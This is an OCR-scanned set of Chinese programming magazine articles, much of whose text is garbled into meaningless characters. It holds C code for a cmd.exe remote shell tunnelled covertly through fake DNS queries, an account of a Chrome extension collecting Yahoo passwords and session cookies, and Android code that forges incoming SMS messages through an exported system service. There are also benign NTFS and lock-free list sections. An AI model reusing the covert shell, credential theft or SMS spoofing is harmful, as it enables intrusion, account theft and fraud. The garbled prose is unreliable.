static HANDLE ShellReadPipe = NUL /A2 3 R M 52 1 15z B 4

static HANDLE CmdReadPipe = NULL; //CMD M H iz B ¥

static HANDLE ShellWritePipe = NULL;/A2 HEFE 1) BL T 5 A E 4
SECURITY_ATTRIBUTES SecurityAttr;

SecurityAttr.nLength = sizeof(SECURITY_ATTRIBUTES);
SecurityAttr.IpSecurityDescriptor = NULL;

SecurityAttr.binheritHandle = TRUE; /AR %, #E A4 TRUE, RWIGJREAT LIk &
if (ICreatePipe(& ShellReadPipe, & CmdWritePipe, & SecurityAttr, 0))

{
fprintf(stderr, "Failed to create read pipe.\n");
goto Error;
}
if (ICreatePipe(& CmdReadPipe, & ShellWritePipe, & SecurityAttr, 0))
{
fprintf(stderr, "Failed to create write pipe.\n");
goto Error;
}

XA GIEE CMD 7 3ERE, JPREILARAERIA . FriEdart . ARy R A A FAT B Y
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PROGRAMMING ANALYSE
“q ﬁ E m ﬁ ) 2 E%EE socket )

(FRCR

Startinfo.hStdinput = CmdReadPipe; //ICMD M i% i iz B

Startinfo.hStdOutput = CmdWritePipe;//CMD ¥4 i 5 A Fi% AN
Startinfo.hStdError = CmdWritePipe;

/1613 CMD T-3Ef%

if (!CreateProcessA(NULL, "cmd.exe", NULL, NULL, TRUE, O, NULL, NULL, & Sartinfo,

& Psinfo))
{

fprintf(stderr, "Failed to create cmd process. %d\n", GetLastError());

goto Error;

}

XFE, AT EK 45 A\ F ShellWritePipe #, CMD it 7] LA CmdReadPipe H i1
HHAT, CMD AT M 15 R 5 A %] CmdWritePipe 7, FA 15T LM ShellReadPipe

I ICERAT 45 R

FEAG 5] CMD Shell Ja, 45 IR ZAM 0 A B e DNS Pl &t . i
i 524~ DNS PRstEiea i o, HARSOR i 1 s

1] 15 1& N
¥R ‘ i T
[ B & g1 hine g 1254
BB ID RN S5 350 l
£ 5 if1 ] 84 V4
OF3
g & BT g
i
{ (BRI A ET ) {
HiMER
T (ERICAFHTE f
K1
W 12 AR A 4 K E AT AR I B 4 k. 16bit (kR E B 2 B
[QR] opcode  JAAJTC|RD[RA] (zero) |  mode |
1 4 1 1 1 1 3 4
K2

QR: O F/REUWIIRC, 1 HKI/RMIR R,
Opcode: JEFE N 0 (hrvEdf)), HABM N 1 O mA#])D 2 (REEIRSER);
AA: FoRFEAUA% (authoritative answer);

TC: Fonnl#Wri (truncated);
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PROGRAMMING ANALYSE
“ ﬁ E m ﬁ ) 2 E%EE socket )

RD: RS,
RA: Roxa] H# ),
Biti Ji5 111 3bit zero B4 0;
Rcode: i&[FIfH, @H K 0 (A ZEH) 3 (BTFZEHRD.
Je il 44> 16bit B Tl a4 MR KT BT A 14 B EE IR S0k X
Wk 3 PR,
0 15 16 31

J Hif) & J

E-RuiEchi EiE

K 3
EMA N BB, H— DB 2 MR AUG AR R T LA 25 2k
BUER VIR R TS, AL 0 850, THEF 1 aii et 0~63 2 1], % FEBG
AT, W gemini.tuc.noao.edu F 4 5 kS N W&l 4 FroR, vl DUSEIL—AN R BCR SEBaX Fh
e,

[6[o]e=ft]n]s]3]e]u]e]e]n]ofa]o]3]efd]u]n]

T bt 1O

H i i i L

Kl 4
static PCHAR DomainToDnsFormat(PCSTR Domain, PCHAR DnsFormat)
{

UCHAR PrefixCount = 0;
PCHAR Prefix = DnsFormat;
DnsFormat++;
while (*Domain !'="\0"){
if (*Domain!=""{
*DnsFormat = *Domain;
DnsFormat++;
Domain++;
PrefixCount++;
}elsgf
*Prefix = PrefixCount;
Prefix = DnsFormat;
DnsFormat++;
Domain++;
PrefixCount = 0;

}
*Prefix = PrefixCount;

*DnsFormat = "\0';
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PROGRAMMING ANALYSE
“4 ﬁ E m ﬁ ) 2 E%EE socket )

return (DnsFormat + 1);

}

FAN S AN A2, W AW A (AR IP b 538 PTR G
|P HHEXS B 42 )

PEPEAC SR AR SOk N n 8] 5 B . DNS Bt )n 3 7B BB, #24L
BRI B B AR FH %8 0 5% RR (Resource Record)  [RIAH [A]#& 2

0 15 16 3
; s !
i 2%
7B (A)

BRI
{ FHREE f
Kl 5

Sk 4 2 U 3 P R A T VTR 44 A RN i 44 BORS aUAH I o 7R 0 ) P 5 5 1)
R, SO 16, KW 1, 4R Internet Kodls; AAFIN A7 BOR S 7 R R B IZ B K
IR

T %7 DNS Eal gk Tk Ua, R 24— DA ST HE N DNSHRICIK % . AIE
1ATLAE Y, DNSHRICHT LA & i “AaNMe 57 I Btdtic sk, JATmr LUK B St sl Ll
ARAY (GRAY 16) MR AAEIZ AN TS . TR L, SRR IR AU SO K (]
BEFH — AR, BIREAZ U SE B SUAR I e K 255D, Jim NSRS . R KL
CreateQueryPacket J4 i & 1 44 B — AN & 4SBT A AC X DNS Hdfa o

static PVOID CreateQueryPacket(PCSTR  Domain, ULONG Size, PULONG

RawPacketL ength)
{
PCHAR QueryPacket;
PDNS HEADER DnsHeader;
PCHAR CurrentPos;

QueryPacket = WrapperAllocBuffer(Size); /143t =% 1]
if (QueryPacket == NULL)

return NULL;
ZeroMemory(QueryPacket, Size);
DnsHeader = (PDNS_HEADER)QueryPacket;
DnsHeader->RequestCount = htons(1);//7% ] ] ¥k 1
DnsHeader->ldentifier = 0x3333;
DnsHeader->ExtraResCount = htons(1); /4% Y54 4 1
CurrentPos = (PCHAR)(DnsHeader + 1);
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“‘ ﬁ E m ﬁ ) 2 E%EE socket )

CurrentPos = DomainToDnsFormat(Domain, CurrentPos);
*(PUSHORT)CurrentPos = htons(1);
*((PUSHORT)CurrentPos + 1) = htons(1);

CurrentPos += 4;

CurrentPos = DomainToDnsFormat(Domain, CurrentPos);
*(((PUSHORT)CurrentPos)++) = htons(16);  //3C AR
*(((PUSHORT)CurrentPos)++) = htons(1);
*(((PULONG)CurrentPos)++) = 0x12345678;

*RawPacketL ength = (ULONG)(CurrentPos - QueryPacket);
return QueryPacket;

bR %8 QueryPacketWrapper()H T £ 352 /5 — 4~ DNS A il

PV OID QueryPacketWrapper(PVOID Data, ULONG Length, PULONG RetLength)

{
PCHAR WrapPacket;
ULONG RawPacketL ength;
WrapPacket = CreateQueryPacket("www.baidu.com”, 1024, & RawPacketL ength);
if (WrapPacket == NULL)

return NULL;

*(PUSHORT)(WrapPacket + RawPacketLength) = htons((USHORT)Length + 1);
*(PUCHAR)(WrapPacket + RawPacketLength + 2) = (UCHAR)Length;
memcpy(WrapPacket + RawPacketLength + 3, Data, Length); /it N\ E SZ 54
*RetLength = Length + RawPacketl ength + 3;
return WrapPacket;

bR % QueryPacketUnwrapper() -1~ A DNS % a0 H HCH ik A BTS2 B

PVOID QueryPacketUnwrapper(PVOID Data, ULONG Length, PULONG RetLength)
{ 132 AR A e s T S A%

PCHAR CurrentPos;

CurrentPos = (PCHAR)Data;

CurrentPos += sizeof(DNS_HEADER);

CurrentPos += strlen(CurrentPos);

CurrentPos += 5;

CurrentPos += strlen(CurrentPos);

CurrentPos +=9;

*RetLength = ntohs(* (PUSHORT)CurrentPos) - 1,

return (CurrentPos + 3);

PR 41 CreateResponsePacket(). ResponsePacketWrapper. ResponsePacketUnwrapper H
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“‘ ﬁ E m ﬁ ) 2 E%EE socket )

FIRE AR 6 o S HUEAT AR AR, R3PS CMD. Shell 2 A B e 2 g 4
5% R (RS, 11T DNS — MR /2 UDP B, UDP HMXLE Socket Sy
oS B connect()k 2 R, DRI TR B 2 1 A1 TR B ST, B
sl CMD Shell FFfE 1oHLIY 1P M B3 11, 3% 1= 4 A B A CMD Shell Jiid UDP
PHSCHEATAC T

ULONG __stdcall CmdShelINotify Thread(PVOID Param)

{
ULONG NotifyFlag = 0x33333333; /5, 5t iz 5 a2 il 4n
ULONG BytesRead;
for(;;)
{
Sleep(1000); /43R 1 FPeh ik —
if (!SendResponseDataToProxy(& NotifyFag, sizeof(ULONG), & BytesRead))
return O;
}
return 1,
}

TBmAE A S, LA B e R A L, R, W SR,
75 JU 2 458 s W A 0

for(;})

{
Datalength = recvfrom(ServerSocket, CommandBuffer, 512, 0,
(SOCKADDR*)& ClientAddr, & ClientAddrLength);
RealData = QueryPacketUnwrapper(CommandBuffer, Datal_ength,
& RealDatal_ength);
NotifyFlag = *(PULONG)Real Data;
if (NotifyFlag == 0x33333333) // & 15 &3 411 1
break;
}

B LRE, - A e i
RecvThreadHandle = CreateThread(NULL, 0, ServerReceiveThread,
(PVOID)ServerSocket, 0, & Threadld);

if (RecvThreadHandle == NULL)
fprintf(stderr, "Failed to create receive thread.\n");
closesocket(ServerSocket);
return;

}

I WS A% — M ATHT, DM /s R 4

CommandBuffer[0] = \n";

CommandBuffer[1] = \0';

WrapData = ResponsePacketWrapper(CommandBuffer, 1, & WrapDatal_ength);
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sendto(ServerSocket, WrapData, WrapDataLength, 0, (SOCKADDR*)& ClientAddr,
sizeof (SOCKADDR_IN));

WrapperFreeBuffer(WrapData);
IGFRBERT PN, 6 SRR DNS Wi NS T R 4 s i

for(;;)
{
fgets(CommandBuffer, 510, stdin);
WrapData = ResponsePacketWrapper(CommandBuffer, strlen(CommandBuffer),

& WrapDatalength);

sendto(ServerSocket, WrapData, WrapDatal_ength, 0,
(SOCKADDR*)& ClientAddr, sizeof(SOCKADDR_IN));

WrapperFreeBuffer(WrapData);

Kl 6 2 AP CMD shell 7248 BN WireShark #1158, Mt ] LUE £ WireShark
R UM Ik T VA DNS Bl e, AT e ket thaRW] T A1 51X DNS f#iE
S5z CMD Shell ] LA IIHAAT -

i Broadcom Netlink (TM) Gigabit Ethernet Driver [Wireshark 1.6.2 (SVN Rev 38931 from /trunk-1.6)]
File Edit View Go Capture Analyze Statistics Telephony Tools Internals Help

Bedew BEXEE A+90T2I(EE QaaQD #8%% B
Filter: dns B Expression.. Clear Apply
Na. Time Source Destination Protocol Length Info

55 14.310981 192.168.0.240 192.168.0.233 DNS 103 standard query A www.baidu.com
58 15.311013 192.168.0.240 192.168.0.233 DNS 103 Standard query A www.baidu.com
61 16.310946 192.168.0.240 192.168.0.233 DNS 103 standard guery A www.baidu.com
67 17.310946 192.168.0.240 192.168.0.233 DNS 103 standard query A www.baidu.com
70 17.600894 192.168.0.233 192.168.0. 240 DNS 113 standard query

71 17.601287 192.168.0.240 192.168.0.233 DNS 103 standard guery A www.baidu.com
72 17.602089 192.168.0.240 192.168.0.233 DNS. 127 standard query A www.baidu.com
73 17.602184 192.168.0.240 192.168.0.233 DNS. 150 standard query A www.baidu.com
74 17.602250 192.168.0.240 192.168.0.233 DNS 136 standard guery A www.baidu.com
75 17.602356 192.168.0.240 192.168.0.233 DNS 182 standard query A www.baidu.com
76 17.602567 192.168.0.240 192.168.0.233 DNS 354 standard guery A www.baidu.com
77 17.603138 192.168.0.240 192.168.0.233 DNS 354 standard guery A www.baidu.com
78 17.605853 192.168.0.240 192.168.0.233 DNS 354 standard guery A www.baidu.com
79 17.606857 192.168.0.240 192.168.0.233 DNS 180 standard guery A www.baidu.com
80 17.607346 192.168.0.240 192.168.0.233 DNS 114 standard query A www.baidu.com
84 18.310838 192.168.0.240 192.168.0.223 DNS 103 standard query A www.baidu.com
89 19.310923 192.168.0.240 192.168.0.233 DNS 103 standard guery A www.baidu.com
91 20.310916 192.168.0.240 192.168.0.233 DNS 103 standard query A www.baidu.com
93 21.310874 192.168.0.240 192.168.0.233 DNS 103 standard query A www.baidu.com

W,

K 6

FTENTFSIUH R G T KIBERK R A

X/ R

Heya i AT AU B 2 e ) S X 5, KR B (5 S A AT SR
SRS, Bls MBI T R WG A r IR AN JE A, DAL, T P52 25 2R R 2080 st 1k
AT BREER RS XA REAERGORY, Windows RE 5 FHBCRHILES], X
NTFS /& LS R Gikt o ASUIGE X Windows REE T NTFS SUHF R4 B W 2 4T

25 ISR AR, B8 AT LU DA T3 s T A S B s I AT
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NTFS (New Technology File System) J& B AR R IR, NTFS U RGKH 15
X g5k 1 o,

FIRE | WTE | ZHEREE | HTEHE | IEFEE

K1

NTFS 73X [f] DBR 5 X 7T BOOT X IHEE—/ M IX, ek 24| S f il g &
BVER o 0 IXA B X IR, R AGE L 330 . DBR & X H1[1) BPB Z4Lic % T NTFS
RETMIRZ EEGE, GRS RGARR B 2 XX EE MFT (R 4652
sy /SR

MFT X AFGif e 1 3CHFER, e 08 NTFS (A% O SO, il 0 X ERE—AN U & 51,
KSR G | BAR A ALK . NTFS RGN, MFT A 16 A 3Cffdx, HTids 164
JECAE, B MFT SUHEARS, PRI —A SOt MFT R —4& S0, B
o XA AL I T — R IX 4 MFT. MFT R, WREEIE 24, R Lt
7T 445, MFT 30 s &40 XAk It 2 U R A%, (FR BRI UNE MFT i)
(LS ELRT R

NTFS 5 SCARFHOC I EIE B Ve JEm T, B SCFN . — A X ie s 2N g,
R SR VR AR AL 5 M S AT S PR P AN 20 o SR PR 23 o 5 B S ek R AR B 1, T g
JEPEAEAE A JE T, W REPEEIRK, KT ANl sk RN, T B e Al A
EFER R PE A AR R SRR o AR R TR PR 1) X SRR Data Runo 4 SR AR 5 JE MEAE AN IE
2L, JU) NTFS 23 7rBL %A Data Run, DMEEFHEUANIELEM A, 1X2L Data Run (W UATES (5
B0 AE Run List 7.

NTFS MR SO IS, 1S I SO I SRSk R SR A7 4 BB 00H, L IR J8 1A
SR, IR A S KE . B IR MFT R Sce st HIWHC S Sk SO AR,
WA 00H, N B2 24 8 IR SO s ARal it JE ik, Wil s sk E ik, )
JEPEAERD g S B, W R oh AEE SEENE, WEELE Run List #2050 A FH RS, 15
T I A B SO DL WX SR AT OB B 2 o, W AR o, WU i s,
MR S, T g & B AR T 704

FEHAT B R BT A 5 B A 20 DX I AR BU AT IR I, ARRS U R R

typedef struct
{
WORD  wCylinder;
WORD wHead;
WORD  wSector;
DWORD dwNumSectors;
WORD  wType;
DWORD dwRelativeSector;
DWORD dwNTRelativeSector;
DWORD dwBytesPerSector;
}DRIVEPACKET;  //LA_L&5He 58 SCT WA 73 X AR R A5 B
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HANDLE hDrive =
CreateFile(PHYSICAL_DRIVE,GENERIC_READ,FILE_SHARE_READ | FILE_SHARE_WRITE,0,OPEN_EXIS
TING,0,0); //3X BLFT FF 43wl it

if(hDrive == INVALID_HANDLE_VALUE)...
for(i=0; i<4; i++) /// WA PRREAEBEAT 73 X 414
{

stDrive.wCylinder = PartitionTbl->chCylinder;

stDrive.wHead = PartitionTbl->chHead;

stDrive.wSector = PartitionTbl->chSector;

stDrive.dwNumSectors = PartitionTbl->dwNumberSectors;

stDrive.wType = ((PartitionTbl->chType == PART_EXTENDED) |
(PartitionTbl->chType == PART_DOSX13X)) ? EXTENDED_PART:BOOT_RECORD;

switch(PartitionTbl->chType)
{
case PART_DOS2_FAT:
strcpy(szTmpStr, "FAT12");

strepy(szTmpStr, "NTFS");  // JE 73 X A% 0 NTES break;
default:

strcpy(szTmpStr, "Unknown");

break;

RS AR R, THREEAT PO BRIk, ARSI R R .

HANDLE m_hDrive =
CreateFile(PHYSICAL_DRIVE,GENERIC_READ,FILE SHARE_READ |FILE_SHARE_WRITE,0,0PEN_EXIS
TING,0,NULL);

m_cNTFS.SetDriveHandle(m_hDrive); // set the physical drive handle
m_cNTFS.SetStartSector(drinfototal[drilabel].dwNTRelativeSector,512); // set the
starting sector of the NTFS
nRet = m_cNTFS.Initialize(); // initialize, ie. read all MFT in to the memory
for(i=0;(i<OXFFFFFFFF);i++) // theoretical max file count is OXFFFFFFFF
{

nRet =m_cNTFS.GetFileDetail(i+30,stFInfo); // get the file detail one by one
if((nRet == ERROR_NO_MORE_FILES)| | (nRet == ERROR_INVALID_PARAMETER))

FEZBIERMER S, AT R E SRR, AT B
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nRet = m_cNTFS.Read_File(nldxSelLst+30,pData,dwLen);
nRet = m_cNTFS.GetFileDetail(nldxSelLst+30,stFInfo);
HANDLE hNewfFile =

CreateFile(szTmpPath,GENERIC_WRITE,O,NULL,CREATE_ALWAYS,stFInfo.dwAttributes,0);
nRet = WriteFile(hNewFile,pData,dwLen,&dwBytes,NULL);

R EIRACHS, FATRI A PR NTFS N INBRAGSCAT, ROR RAF, 49R WA 2 fros.

CCenter._.db—journal
16292

Windows[F] AL K FE B SR BER SR

/B AL

ARG, B BT 2 AP O A BE S I AN TR, B
AMBUATTIRS, AP 1 B SOX AN BRI, R IR, AL RS | AR F LR
h FAREESS 2 BB IR M B, S e E SRR ORI XA BB, 3 RO
FeAEgy, HENZBRACEEE: 1R, SRR M, (HOUA A SRS e ? Wl E
SAIXFEIfR T %, RIALBEAS 2 TR SRAFHS, T LADIHe S o) A —AN AR, BATIIAESS
ARG | BOBOZ BRI RV R s LR, RGBT I MRAF AN, P L i
SERFRCR I, HISEE, SRR AIRE G ZE ], JF HSAR AR IS R 2%, T
B AR WIE G T BRIV, AR, S SR B vt Z W EEORUE B o5 P I (AR, B
FIRBE DL CPU BH. £E Windows7 1, PERERI R Ml e il 28 pR 97 A4 40 73,
MITTAT R o A AR IS ), i i A B 5% £ S N L

TR A REAA T A B s B DA i, W R BATTAR R AT B AT LA
T BERAL BN S BOE R 2 CPU 31, Intel $24L T 57484, W LATEIXFE— 448
A HSERURZ R 8 NI B SIRIRAE, BAIEUL X AR N SE RANRE  k
M3, — Mk

LeRRUIH . B LR 5T AR A TP A 1 BT
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it AR W U5 AT B

HA AT AL (1 I T AR A AT 9
T, JFH# B, Al LUR INEREIEFSS

A fi] R FRPRE TR

JR - F 4 A% FH £ L R4

B 1 ZeRED). B LR 1 e A A8

R B S5 #HiE4

{E windows ZwfE T, 2 26 2 i Interlocked 13k (BRI EL, — MR, IX L4512 Windows
W AZSCHRE B P44, U0 Interlockedincrement (JELF- T 1 #24E ). InterlockedDecrement
(JSF9% 1 #4E) . InterlockedExchange (J FAC#EAE) 250 Frif i 7 #4E, e /e
AT, BRI B SR RIEA SRR S W T B, DR S RN T A
WE S, 45 BEERE T AT R Y.

EIX PR R R BT, SRR R & InterlockedCompareExchange p%i%%,
BATE B T IXA KA AL -

InterlockedCompareExchange(pointer *Destination, Exchange, Comperand)

InterlockedCompareExchange bR & 5%l Destination f&[a] N A7 %5 Comperand
ST IR, WA, WSS 2 NS4 Exchange 5154l Destination $5 i [ N A7 1 5L
Lo R, S5 Exchange Fl Comperand RJ LUi2 8 ANy (A4, il TR E L 72 2
BiE WA, e PSS AN RE RIS ) 10 A7, AIMSEIR 2 AL BLEs IAEE N A B .

W R EREE InterlockedCompareExchange BRI B0 N 8 SE B, 2 R I IX AN R B0 S b b &
Cmpxchg8b 82 11— MUK L. Cmpxchg8b 15227 M Bl Z /N A g it Alis e, T
B Ut B IX AN R A A ] . 8% Cmpxchg8b 452 I FH U1 s

Cmpxchg8b gword ptr [ebpl;

R PATIOBNAE I 2 Fros: H [ebp] FIIA AL eax:edx N AL, Wk
R, WA ecx:ebx HTAZTE T [ebp] i AUHBIE s AR, WK Lebp] i) P9 79T
eax:edx. VER, JXuAE MR TR M, APIMEHErT.

ek, BiFhe R

<«—Ebp
Eax ~———] Ecx
ST D E—
Edx ] Ebx
OB LA R, K = OMW LA, R
[ebp] KT eax:edx ecx:ebx X7 [ebp]

2 Cmpxchg8b 54 118 H
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¥ InterlockedCompareExchange PR%45 Cmpxchg8b gqword ptr [ebpl$g2 ¥ H ELA%,
WIS AT EAE H ebp XA —DNZSHL eox:ebx XN NS, M eax:edx TR EE =4
Z . ecx:ebx 5 eax:edx M-S SRS EL, AU ecx: ebx 14 A1E 4 BorlandC,
eax:edx A AC A AD £5%), RLT-REMSSGT)—Lt,

To Bt B A SE I,
1) BEERNEH

T HE AT A LB R N SR, oMY Cmpxchg8b F5AHISER] . B G
B NREERINEH, ZRRERA LSS, 2B next bt (4 DNMFT5). Depth fift (2
NFA) BLA Sequence & Gd (2 ANFAT), oA next IR REER TS AN, G
BN A A next F5EF, FRm N AN AL MBI 55 . 17 Depth Bl i1 LA K
Sequence B AE JR AR ARG T I ARAT WAL, AN BT iZ BBER 1K) push AT pop 454t AT
DAHEMI Y, depth NAZAIZ AR 9 T TR 1 S8 H . 10 Sequence WAZEK /R I 21T
RO LAY IMAAZEE R 11T 55, X ANECH A4S Ol e 4T . BRI g5 M a1 3 o

Head

\ 4
\ 4
\ 4

A < Next Next Next Next

A"

Depth

Sequence

K 3 EESCHL AR
GIER IR IR Z A AE T, AR IZBER Pl AT R, % U BASIRT, R %
T RdEA head 52— AL, TAGZBERSAH — A1 U, B4 head Z )5 7Y kg
Al DOASG I AN E G N5 . AERBER P IR B — TR E I 4 A1 5
T

flead JE SO R B K R

A\ 4
A\ 4
A 4

Next Next Next Next

Depth

Sequence

Next

FEEART R
& B R R AZ R AE

K 4 FBER PN
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TEMART X%
&%%ﬁﬁﬁ
Head
Next Next Next Next
Depth Next /
Sequence

K5 BEERTRER I

2) BRI SEI

1 ReactOs 17, SFICHA BARE R S ERVE 1 R B0 8 Rt1InterlockedPushEntrySList A1
RtlInterlockedPopEntrySList, Z3Jll -l s A INBR 15 me o T 5295, i
PHIR— NN 2R %L Rt 1 InterlockedPushEntrySList [fSEH.

RtlInterlockedPushEntrySList (head, ListEntry)

Hrr, 23 head NEEFRL, Z%0 ListEntry AFFAHAMT A M T FastCall
S HfLih 7730, Bk, RS, ecx TAFBUN A —/N24 head, 1M edx FTAFIBURIE S
TS ListEntry.

RtlInterlockedPushEntrySList pRELHT P HESEHL A0 R IR AR BT

push ebx
push ebp
mov ebp, ecx; HED: ¥ Head (MY ebp;
mov ebx, edx; I©D: ¥ ListEntry [FMEIR T ebx;
mov edx, [ebp]+4; EE®): ¥ ebp, W Head FEM1 8 NF 4T HIMEIK T eax:edx (AD
M) AR, o eax PAFBUR 2 T —BEIKI$EER, edx NI depth/sequence;
mov eax, [ebp]+0;
epsh10:mov  [ebx], eax; @D : ¥ Head M F—Bk Next FEEMK T ebx, HJ
ListEntry (1) Next Jiliii;
lea ecx [edx+010001H]; EE®: ¥ ecx N depth+1/sequence+l, LI ebx 3/
] ListEntry, 45 ecx [N41&MUF T 5 Head (ebp) H{EHAZ (P HE
lock cmpxchg8b gword ptr [ebpl; #SUESIF T, FFEAEASHNE !
jnz short Epshl0; WK, ¥lebp]l WY edx:eax, FHITIG!
pop ebp; J&IhT!
pop ebx

B A TR, SEBCP RO A, K EREE ], B 6 P, e

A Dl 7o s . WRAED RO~ @I EER KA R AR, )
Cmpxchg8b F&& AT R B SE e, # ListEntry F7 1A K s IHRAN . F2E S EO~O
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WM BER R AR TARE ? eI R B RPPR@. LIROF Cmpxchg8b 5P E T—AMEIS
H, 5RRO~@FFAME, SEbr FiXhd ok T RO RE L ARG IR AT AR 1)
A, 4 AT5e RO, £ 5Ah—AAEFERE b RGBS N, IRE RIhE 2 0, 76 i%%E
RPN T — AR GRS R AL BEER A N, I 7 BRI A A 8 OAD A
(eax:edx), @ebx FEEFFE ) 1 P 45 CRL A GRS 1% P9 25 1Y B 38T 0 AR BRER b BT 4 1Y A k),
PN @ecx HPIRIAZE (MK depth FII sequence B AN 1), LA E3AE8s & 6 v e fb
[R5 Bz, @@ IS B AILAE L TR@G T, 11y O 5 57 W 58 4> B/ Cmpxchg8b $§4- 1
oo BT ? Y Cmpxchg8b R4 RIS, %1544 HE# [ebp] WK T eax:edx, BT, —
PIsEE T, BPsITRA R,

Ebp FRO Ebx F RO ListEntry
Next
Depth
Sequence
Head TN % . RO
Edx Ebx  [*—ListEntry [(Hillt. F B
Eax Ecx <«—Depth+1/Sequence+l, FHE®
H& 5 [Ebpl WA LR &K T [Ebp]

K 6 cmpxchg8b 5 AT I 275 f7 e P IR 2

NG
T AR R ANV AL R G PTE 45 R 484 BLAOSE% D, HoZLo 2 Cipxchg8b 454 HIEH]
A BB A SCAR G, BT AE MR AR JC B A BER ) ST -

Yahoo! f§48 H 3% 3% F 8 EF4-REF

3/ Bk

WA B B & o A WA T2, Rl P 4 S %GR, 2l Cookie ¥, A
SCH A X AOE s T e B SE T EAORAF G A, 71 Chrome B, AT AT HI A
AP RARAFIZ L H e o (A HAAAEIR TR 5, “localStorage[ 8" ="1" " 1177 2l il LAEAT
N T ORI, S AR B AR JSON #52X, I sl i IR 2 . X T Yahoo! HIS
i, 1% Yahoo.cn. Yahoo.com SR Z thhil, HEAEHE—ANIEHT BLE %, fEtifhiliss ~ o ny L
FITHAEH, B DAFRATTE S I 208 8 AE WA HBAH T 4T IF o AT I H 2 44 5 300 68 % 1)
JSON Hhig 2 :

{"mailBaseURL":" & s HBFH ) URL","type":"userName","data": {"userName":" | /" %
@yahoo.com","passWord":" 2 fi5"}}
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PEI 25 R —AN I, e P iR A B K T Yahoo! M, 23 52MaXTR T 2 HBAH 11
ok, R I B B . rVRAR R, e H MR domain oA “.yahoo.com” [F)
FTAi Cookie skt T LA T o B AR T2 & i H chrome.cookies.getAll, 5t 1] A7 2 47 1) Cookie
55 BT domain {H U “.yahoo.com” 1% 1 chrome.cookies.remove K Bl
ALY, AR AR AN RS IS . BUIATE RS DRSS T, R AR T B ok
(=»

B EAE L M) “https://login.yahoo.com/config/login” $EA8 & 555 Bl o 1E M &k It 21
PR R B A SR AF R, T FRA I Ajax $2 48 5 A5 B gl 2k & — A, 18
Request head 7', Content-Type [¥J{H 24704 application/x-www-form-urlencoded, 75| JGikE%
Ko WATERUE WA Y, Yahoo! 45iR[Hl—F JSON ¥idli, HHA “redirect” 7B, Bk
SERJE, Yahoo! [FIR MR L& A FRATT R B 4T T Cookie, W1 2IH L Cookie H3% (1) /72,
AT LBk B i I A 7Y, B Cookie WCEAFMLTT LA 1. dHJd Cookie %3k [1) JSON Hif =
j"j:

{"mailBaseURL":"http://us-mg6.mail.yahoo.com","type":"cookies","data":[{"name":" 44 FX
" "alue":"{H","expirationDate": I IS [A],"domain":"4"  "path": "} 4%
" "secure":false,"httpOnly":false,"storeld":"0"}......1}.

SERCE IR, TR BRI Yahoo ! HIBAR I = DTS R T, I Bk B v B
mailBaseURL, At Al LAINZIBFTEcHE « 2N A = vl S RUOA 75 ZRS L 5, XS
H0.45 wssid. windowld. urlOrigin. folders. userlD F neoguid. $ffXS6S%H)5 f) HABAT
5 E— A, A A TR .
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Android IR BRI 2 hiE G

IE ZYe

TR CEE, KFECEIAR TR TR IIAESE, EZAHESE LI nThRe g i
IR, IS TE A N L IR HIBTE 4. 82 ThResEil.

KSR H—A 2012 )AL A= B YN I 37 K27 0 S 2% 40 (1) A1 BA & AT 1) Android
RGP WA AELE ) 22 AR, ATAT N AR AN T7 ZAT AR CEAE AN TR 25 5 JA5 AL
B AT LATE R G Dt A1 5 5 T AR RATART A 25 B A5 BOREAR , AT T eS| it — 2 1Y
fa it . Google L&A T X — il (M A77E

AT R MR P as AT I, o AZEAHL B G AT R S i e A RS, 8
faFIVED P LRI I o B SE3L BRAN INSh RE R i AT AR S g 5, B0 2 S IR, 1%
AT EARARE, KX S AR 4, TR AR TR i A QR

if(message.tolLowerCase().contains("duanxin")){
createFakeSms (this.getApplicationContext(), "10086", "FakeSms");

}

XEACH T, MR EITE 4 “QN#duanxin” I, M createFakesms %y,
SEARPIE— W EIK A 10086 IFIME, Hifs A Z “FakeSms”. ixX HL R0k (1) 40
550 S A F O AR 2R

F=00, IRAYIRRHL. XL, DA @A RS TR AR, A2
Tt ol LB 7, BRI R -

private static void createFakeSms(Context context, String sender, String
body) {

byte[] pdu = null;

byte[] scBytes = PhoneNumberUtils
.networkPortionToCal ledPartyBCD("0000000000") ;

byte[] senderBytes< = PhoneNumberUtils
.networkPortionToCalledPartyBCD(sender);

int lsmcs = scBytes.length;

byte[] dateBytes = new byte[7];

Calendar calendar = new GregorianCalendar();

dateBytes[0] = reverseByte((byte) (calendar.get(Calendar.YEAR)));

dateBytes[1] = reverseByte((byte) (calendar.get(Calendar.MONTH) +

1));

dateBytes[2] = reverseByte((byte)
(calendar.get(Calendar.DAY_OF _MONTH)));

dateBytes[3] = reverseByte((byte)
(calendar.get(Calendar.HOUR_OF DAY)));

dateBytes[4] = reverseByte((byte)

(calendar.get(Calendar .MINUTE)));
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dateBytes[5] = reverseByte((byte)

(calendar.get(Calendar.SECOND)));

dateBytes[6] = reverseByte((byte)

((calendar.get(Calendar.ZONE_OFFSET) + calendar

.get(Calendar.DST_OFFSET)) / (60 * 1000 * 15)));

try {

ByteArrayOutputStream bo = new ByteArrayOutputStream();

bo.write(lsmcs);
bo.write(scBytes);
bo.write(0x04);

bo.write((byte) sender.length());
bo.write(senderBytes);
bo.write(0x00);

bo.write(0x00);
bo.write(dateBytes);

try {

String sReflectedClassName
"com.android.internal.telephony.GsmAlphabet";

Class cReflectedNFCExtras
Class.forName(sReflectedClassName);

Method stringToGsm7BitPacked
cReflectedNFCExtras.getMethod(

"stringToGsm7BitPacked", new

{ String.class });
stringToGsm7BitPacked.setAccessible(true);
byte[] bodybytes =

stringToGsm7BitPacked.invoke(null,

body);
bo.write(bodybytes);

} catch (Exception e) {

}

pdu = bo.toByteArray();
} catch (IOException e) {
}
Intent intent = new Intent();
intent.setClassName("com.android.mms",

Class|[]

(byte[])

"com.android.mms.transaction.SmsReceiverService");
intent.setAction("android.provider.Telephony.SMS_RECEIVED");

intent.putExtra("pdus"”, new Object[] { pdu });
intent.putExtra("format", "3gpp");
context.startService(intent);

}

private static byte reverseByte(byte b) {
return (byte) ((b & OxFQ) >> 4 | (b & OxOF) << 4);
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}

XBARL AR T, WPASFhttp://stackoverflow.com/a/12338541 147 T fi#.

AT EEREE, REMBEMNEEET T, FIRSHZEE (RENT
android:export="true"): com.android.mms.transaction.SmsReceiverService, T 55 = J5 i 4Fnl
PLiB 44 4 android.provider. Telephony.SMS_RECEIVED (¢ action, Jil - [ O k)3 i) 645 5%
FRWAE, R RERFAE BN . AEBATIAR] FHARRS T n] LA 2I4H G action (1R A

W EmiARS, ARSI T OhE A DIRE, R I T N

